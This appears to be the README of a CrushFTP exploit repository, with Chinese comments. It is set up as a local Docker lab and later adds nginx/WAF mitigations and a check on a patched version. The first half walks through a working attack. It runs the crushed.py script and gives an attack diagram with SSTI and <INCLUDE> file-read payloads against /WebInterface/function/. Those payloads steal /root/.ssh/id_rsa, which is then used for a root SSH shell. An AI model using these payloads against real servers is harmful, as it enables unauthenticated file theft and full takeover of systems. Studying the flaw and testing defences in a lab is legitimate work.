pip install requests rich

docker-compose up -d

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

whoami
# 预期输出: root

id
# 预期输出: uid=0(root) gid=0(root) groups=0(root)

hostname
# 预期输出: <container_id>

未认证攻击者
        │
        ▼
GET /WebInterface/          ← 获取匿名 CrushAuth + currentAuth cookie
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI 确认——模板被服务器评估
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← 泄漏绝对安装路径
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← 任意文件读取
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← 完整的 root shell

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # 启用 ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # 将所有流量代理到 CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # 对拦截的请求返回 403
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

攻击者 -> NGINX WAF (端口 80) -> 拦截恶意请求 -> 403 禁止
                            -> 放行正常请求 -> CrushFTP:8080

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

events {}
http {
  server {
    listen 80;

    # 允许静态资源无需认证
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # 阻止未认证的 WebInterface 访问
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "需要认证——匿名会话已禁用";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # 阻止其他一切未认证访问
    location / {
      if ($http_authorization = "") {
        return 401 "需要认证";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

# 确认未认证请求被 NGINX 拒绝
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 预期输出: 401 Unauthorized

# 可选：认证后的请求应被转发
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

# 对 v11 运行利用脚本——应失败
# 注意：本仓库的脚本使用 -t/--target 参数。
python3 crushed.py -t http://localhost:8080

# 预期输出：利用程序无输出或连接错误